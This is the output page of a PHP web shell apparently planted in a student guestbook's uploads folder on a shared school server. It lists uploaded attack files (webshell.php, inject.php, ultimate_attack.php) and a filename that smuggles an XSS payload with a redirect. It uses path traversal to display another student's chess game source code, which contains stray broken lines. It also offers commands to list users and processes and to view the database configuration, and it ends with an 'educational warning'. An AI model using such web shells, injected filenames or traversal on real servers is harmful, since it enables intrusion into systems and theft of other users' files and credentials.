🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg [view]
📄 wallpaper.jpg [view]
📄 webshell.php [view]

📄 Viewing: ./../../../../585871.klas4s23.mid-ica.nl/public_html/Schaak/app.js

const gameBoard = document.querySelector('#gameboard');
const playerDisplay = document.querySelector('#player');
const infoDisplay = document.querySelector('#info-display');

const width = 8;


let playerGo = 'white';
// The position on the board the piece starts from
let startPositionId = -1;
let draggedElement;

let taken, takenByOpponent;
let targetId, startId, idInterval;
let startRow, startCol, targetRow, targetCol;
// How far apart are the rows and how far apart are the columns
let rowInterval, colInterval;


const startPieces = [
    rook, bishop, knight, queen, king, knight, bishop, rook,
    pawn, pawn, pawn, pawn, pawn, pawn, pawn, pawn,
    '', '', '', '', '', '', '', '',
    '', '', '', '', '', '', '', '',
    '', '', '', '', '', '', '', '',
    '', '', '', '', '', '', '', '',
    pawn, pawn, pawn, pawn, pawn, pawn, pawn, pawn,
    rook, bishop, knight, queen, king, knight, bishop, rook
];



let allSquares;

function displayLowestTime() {
    // Get the lowest time from the cookie
    let lowestTime = getCookie('lowestTime');

    // Convert the lowest time from milliseconds to seconds
    let secondsTotal = Math.floor(lowestTime / 1000);

    // Calculate minutes and seconds
    let minutes = Math.floor(secondsTotal / 60);
    let seconds = secondsTotal % 60;

    // Display the lowest time
    // This depends on how you want to display it, but here's an example:
    document.getElementById('lowestTime').textContent = `${minutes}:${seconds}`;
}

function getCookie(name) {
    let cookieArr = document.cookie.split(";");
    for(let i = 0; i < cookieArr.length; i++) {
        let cookiePair = cookieArr[i].split("=");
        if(name == cookiePair[0].trim()) {
            return decodeURIComponent(cookiePair[1]);
        }
    }
    return null;
}


function init() {
    playerDisplay.textContent = playerGo;

    createBoard();

    allSquares = document.querySelectorAll('.square');
    allSquares.forEach(square => {
        square.addEventListener('dragstart', dragStart);
        square.addEventListener('dragover', dragOver);
        square.addEventListener('drop', dragDrop);
    });
}

function createBoard() {
    startPieces.forEach((startPiece, i) => {
        const square = document.createElement('div');

        square.classList.add('square');
        square.setAttribute('square-id', i);
        square.innerHTML = startPiece;
        square.firstChild?.setAttribute('draggable', 'true');

        // Zero-based: first row = 0, second row = 1, etc...
        const row = Math.floor(i / 8);

        if (row % 2 === 0) {
            square.classList.add(i % 2 === 0 ? 'white-square' : 'black-square');
        } else {
            square.classList.add(i % 2 === 0 ? 'black-square' : 'white-square');
        }

        // Determine the color of the pieces
        if (i <= 15) {
            square.firstChild.firstChild.classList.add('white-piece');
        } else if (i >= 48) {

            square.firstChild.firstChild.classList.add('black-piece');
        }

        gameBoard.append(square);
    });
}


function dragStart(e) {
    draggedElement = e.target;
    startPositionId = draggedElement.parentNode.getAttribute('square-id');
    promotePawn(this);
}


function dragOver(e) {
    //
    e.preventDefault();
}


function dragDrop(e) {
    //
    e.stopPropagation();

    correctGo = draggedElement.firstChild.classList.contains(playerGo + '-piece');
    opponentGo = playerGo === 'black' ? 'white' : 'black';
    taken = e.target.classList.contains('piece');
    takenByOpponent = e.target.firstChild?.classList.contains(opponentGo + '-piece');

    if (correctGo) {
        if (isValidMove(e.target)) {
            // This will immediately reset the info display when a valid move is made before the notification reset timer clears the last notification
            notifyPlayer('', false);
            if (!taken) {
                e.target.append(draggedElement);
                // Only change players if the game is still ongoing
                if (!checkWin()) changePlayer();
            } else if (takenByOpponent) {
                document.getElementById(`${playerGo}-captures`).innerHTML += `<div class="captured-piece">${e.target.innerHTML}</div>`;
                e.target.parentNode.append(draggedElement);
                e.target.remove();
                // Only change players if the game is still ongoing
                if (!checkWin()) changePlayer();
            } else notifyPlayer('You can not go there!');
        }
        else notifyPlayer('You can not go there!');
    }
}

function notifyPlayer(message, useTimer = true) {
    infoDisplay.textContent = message;
    if (useTimer) setTimeout(() => { infoDisplay.textContent = '' }, 2000);
}


function changePlayer() {
    playerGo = playerGo === 'black' ? 'white' : 'black';
    playerDisplay.textContent = playerGo;
}


// Move validation lookup object
const validMoves = {
    'pawn': () => {
        let direction = 1;
        // Flip the rows depending on who's playing. 
        if (playerGo === 'black') {
            startRow = width - 1 - startRow;
            targetRow = width - 1 - targetRow;
            direction = -1;
        }
        // Check if the pawn's movement is blocked by any piece
        const blockedByPiece = Boolean(document.querySelector(`[square-id="${startId + direction * width}"]`).firstChild);

        return targetRow > startRow && ((!taken && !blockedByPiece && startRow === 1 && idInterval === 2 * width) || (!taken && idInterval === width) || (takenByOpponent && (idInterval === width - 1 || idInterval === width + 1)));
    },
    'rook': () => {
        // Successful vertical movement or horizontal movement
        if ((rowInterval !== 0 && colInterval === 0) || (rowInterval === 0 && colInterval !== 0)) {
            // Check if the rook's movement is blocked by any piece
            for (let i = Math.abs(rowInterval ? rowInterval : colInterval) - 1; i > 0; --i) {
                const id = rowInterval ? startId + Math.sign(rowInterval) * i * width : startId + Math.sign(colInterval) * i;
                if (Boolean(document.querySelector(`[square-id="${id}"]`).firstChild)) {
                    return false;
                }
            }
            return true;
        }
        return false;
    },
    'bishop': () => {
        // Successful diagonal movement
        if (Math.abs(rowInterval) === Math.abs(colInterval) && rowInterval !== 0) {
            // Check if the bishop's movement is blocked by any piece
            for (let i = Math.abs(rowInterval) - 1; i > 0; --i) {
                if (Boolean(document.querySelector(`[square-id="${startId + Math.sign(rowInterval) * i * width + Math.sign(colInterval) * i
                    }"]`).firstChild)) {
                    return false;
                }
            }
            return true;
        }
        return false;
    },
    'knight': () => {
        // Two steps up or down, one step right or left - Two steps right or left, one step up or down
        return (Math.abs(rowInterval) === 2 && Math.abs(colInterval) === 1) || (Math.abs(colInterval) === 2 && Math.abs(rowInterval) === 1);
    },
    'queen': () => {
        // A queen is simply just a rook and a bishop at the same time
        // return this.rook() || this.bishop();
        return (validMoves['rook']() || validMoves['bishop']());
    },
    'king': () => {
        // King moves one step anywhere
        return (idInterval === width || idInterval === width - 1 || idInterval === width + 1 || idInterval === 1);
    }
}


function isValidMove(target) {
    targetId = Number(target.getAttribute('square-id') || target.parentNode.getAttribute('square-id'));
    startId = Number(startPositionId);
    idInterval = Math.abs(targetId - startId);

    startRow = Math.floor(startId / width);
    startCol = startId % width;
    targetRow = Math.floor(targetId / width);
    targetCol = targetId % width;

    // How far apart are the rows and how far apart are the columns
    rowInterval = targetRow - startRow;
    colInterval = targetCol - startCol;

    return validMoves[draggedElement.id]();
}



function checkWin() {
    const kings = document.querySelectorAll('#gameboard #king');

    if (kings.length < 2) {
        // Stop the timer
        clearInterval(timerInterval);

        // Get the elapsed time
        let elapsedTime = Date.now() - startTime;

        // Get the lowest time from the cookie
        let lowestTime = getCookie('lowestTime');

        // If the elapsed time is less than the lowest time, or if there is no lowest time yet,
        // set the elapsed time as the new lowest time
        if (!lowestTime || elapsedTime < lowestTime) {
            setCookie('lowestTime', elapsedTime, { 'max-age': 60 * 60 * 24 * 365 }); // Cookie expires after 1 year
        }

        notifyPlayer(`${playerGo} player wins`, false);
        playerDisplay.parentElement.textContent = '';
        playerGo = '';
        // Make all the remaining pieces non-draggable so the game kind of ends
        document.querySelectorAll('.piece').forEach(piece => {
            piece.setAttribute('draggable', false);
        });

        startCol
        end
        end - startCol

        return true;
    }

    return false;
}

// When the page loads...
window.onload = function() {
    // Get the lowest time from the cookie
    let lowestTime = getCookie('lowestTime');

    if (lowestTime) {
        // Convert the lowest time from milliseconds to seconds
        let secondsTotal = Math.floor(lowestTime / 1000);

        // Calculate minutes and seconds
        let minutes = Math.floor(secondsTotal / 60);
        let seconds = secondsTotal % 60;

        // Display the lowest time
        document.getElementById('lowestTime').textContent = `${minutes}:${seconds}`;
    } else {
        document.getElementById('lowestTime').textContent = 'No time yet';
    }
}

function getlowesttime() {
    return getCookie('lowestTime');
}

function setlowesttime(time) {
    setCookie('lowestTime', time, { 'max-age': 60 * 60 * 24 * 365 }); // Cookie expires after 1 year
}

function displayLowestTime() {
    // Get the lowest time from the cookie
    let lowestTime = getCookie('lowestTime');

    // Convert the lowest time from milliseconds to seconds
    let secondsTotal = Math.floor(lowestTime / 1000);

    // Calculate minutes and seconds
    let minutes = Math.floor(secondsTotal / 60);
    let seconds = secondsTotal % 60;

    // Display the lowest time
    // This depends on how you want to display it, but here's an example:
    document.getElementById('lowestTime').textContent = `${minutes}:${seconds}`;
}

function reset() {
    window.location.reload();
}


init();

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!